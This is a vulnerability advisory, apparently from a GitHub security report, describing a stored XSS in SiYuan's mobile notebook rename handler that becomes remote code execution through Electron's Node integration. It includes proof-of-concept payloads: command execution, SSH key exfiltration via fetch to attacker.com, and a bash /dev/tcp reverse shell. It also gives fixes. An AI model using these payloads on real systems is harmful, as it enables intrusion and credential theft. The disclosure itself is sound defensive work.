+ "details": "# Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface\n\n## Summary\n\nSiYuan's mobile file tree (`MobileFiles.ts`) renders notebook names via `innerHTML` without HTML escaping when processing `renamenotebook` WebSocket events. The desktop version (`Files.ts`) properly uses `escapeHtml()` for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.\n\nSince Electron is configured with `nodeIntegration: true` and `contextIsolation: false`, the injected JavaScript has full Node.js access, escalating stored XSS to **full remote code execution**. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.\n\n## Affected Component\n\n- **Vulnerable file:** `app/src/mobile/dock/MobileFiles.ts:77`\n- **Safe counterpart:** `app/src/layout/dock/Files.ts:104` (uses `escapeHtml`)\n- **Backend (no escaping):** `kernel/api/notebook.go:104-116` (`renameNotebook`)\n- **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n- **Endpoint:** `POST /api/notebook/renameNotebook` (authenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Vulnerable Code\n\n### Mobile — no escaping (MobileFiles.ts:77)\n\n```typescript\ncase \"renamenotebook\":\n this.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = data.data.name;\n break;\n```\n\n### Desktop — properly escaped (Files.ts:104)\n\n```typescript\ncase \"renamenotebook\":\n this.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);\n break;\n```\n\n### Backend — sends unescaped name (notebook.go:104-116)\n\n```go\nfunc renameNotebook(c *gin.Context) {\n // ...\n name := arg[\"name\"].(string)\n err := model.RenameBox(notebook, name)\n // ...\n evt := util.NewCmdResult(\"renamenotebook\", 0, util.PushModeBroadcast)\n evt.Data = map[string]interface{}{\n \"box\": notebook,\n \"name\": name, // Unescaped — sent directly to all clients\n }\n util.PushEvent(evt)\n}\n```\n\n`model.RenameBox()` only validates length (512 chars max) and emptiness — no HTML sanitization.\n\n### Electron — Node.js in renderer (main.js:422-426)\n\n```javascript\nwebPreferences: {\n nodeIntegration: true,\n webviewTag: true,\n webSecurity: false,\n contextIsolation: false,\n}\n```\n\nAny JavaScript executed via innerHTML has full access to `require('child_process')`, `require('fs')`, `require('net')`, etc.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker).**\n\n### 1. Set malicious notebook name (RCE payload)\n\n```http\nPOST /api/notebook/renameNotebook HTTP/1.1\nContent-Type: application/json\nCookie: siyuan=<session>\n\n{\n \"notebook\": \"<NOTEBOOK_ID>\",\n \"name\": \"<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n}\n```\n\nOn Linux/macOS:\n```json\n{\n \"notebook\": \"<NOTEBOOK_ID>\",\n \"name\": \"<img src=x onerror=\\\"require('child_process').exec('id > /tmp/pwned')\\\">\"\n}\n```\n\n**Confirmed:** API accepts the name without escaping. The `renamenotebook` WebSocket event broadcasts the raw HTML to all connected clients.\n\n### 2. Mobile client renders and executes\n\nWhen any mobile client receives the `renamenotebook` event, `MobileFiles.ts:77` sets `innerHTML = data.data.name`. The `<img>` tag's `src=x` fails to load, triggering `onerror` which calls `require('child_process').exec()` — **arbitrary OS command execution**.\n\n### 3. Verified event content\n\n```python\n# Unauthenticated WebSocket listener receives:\n{\n \"cmd\": \"renamenotebook\",\n \"data\": {\n \"box\": \"20260309161535-do8qg95\",\n \"name\": \"<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n }\n}\n```\n\nThe HTML/JS payload is preserved verbatim in the WebSocket event.\n\n### 4. Data exfiltration variant\n\n```json\n{\n \"notebook\": \"<NOTEBOOK_ID>\",\n \"name\": \"<img src=x onerror=\\\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\\\">\"\n}\n```\n\n### 5. Reverse shell variant\n\n```json\n{\n \"notebook\": \"<NOTEBOOK_ID>\",\n \"name\": \"<img src=x onerror=\\\"require('child_process').exec('bash -c \\\\\\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\\\\\"')\\\">\"\n}\n```\n\n## Attack Scenario\n\n1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload\n2. The `renamenotebook` event broadcasts the payload to ALL connected clients\n3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload\n4. `nodeIntegration: true` gives the injected JavaScript full OS access\n5. Attacker achieves arbitrary command execution on the victim's machine\n\n**Persistence:** The notebook name is stored in the notebook's `.siyuan/conf.json`. The payload re-triggers every time the file tree renders on mobile — it survives restarts.\n\n**Sync vector:** If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.0)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Full remote code execution on Electron desktop via `nodeIntegration: true`\n- Stored XSS — notebook names persist across sessions and survive restarts\n- Propagates via cloud sync to all synced devices\n- Affects all mobile interface users and desktop users in mobile/narrow layout\n- Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)\n- Can steal files, credentials, SSH keys, install backdoors, open reverse shells\n\n## Suggested Fix\n\n### 1. Apply the same escaping used in the desktop version\n\n```typescript\n// Before (vulnerable):\nthis.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = data.data.name;\n\n// After (fixed):\nthis.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);\n```\n\n### 2. Sanitize notebook names on the backend\n\n```go\nfunc RenameBox(boxID, name string) (err error) {\n name = util.EscapeHTML(name) // Sanitize at the source\n // ...\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n nodeIntegration: false,\n contextIsolation: true,\n sandbox: true,\n}\n```",
0 commit comments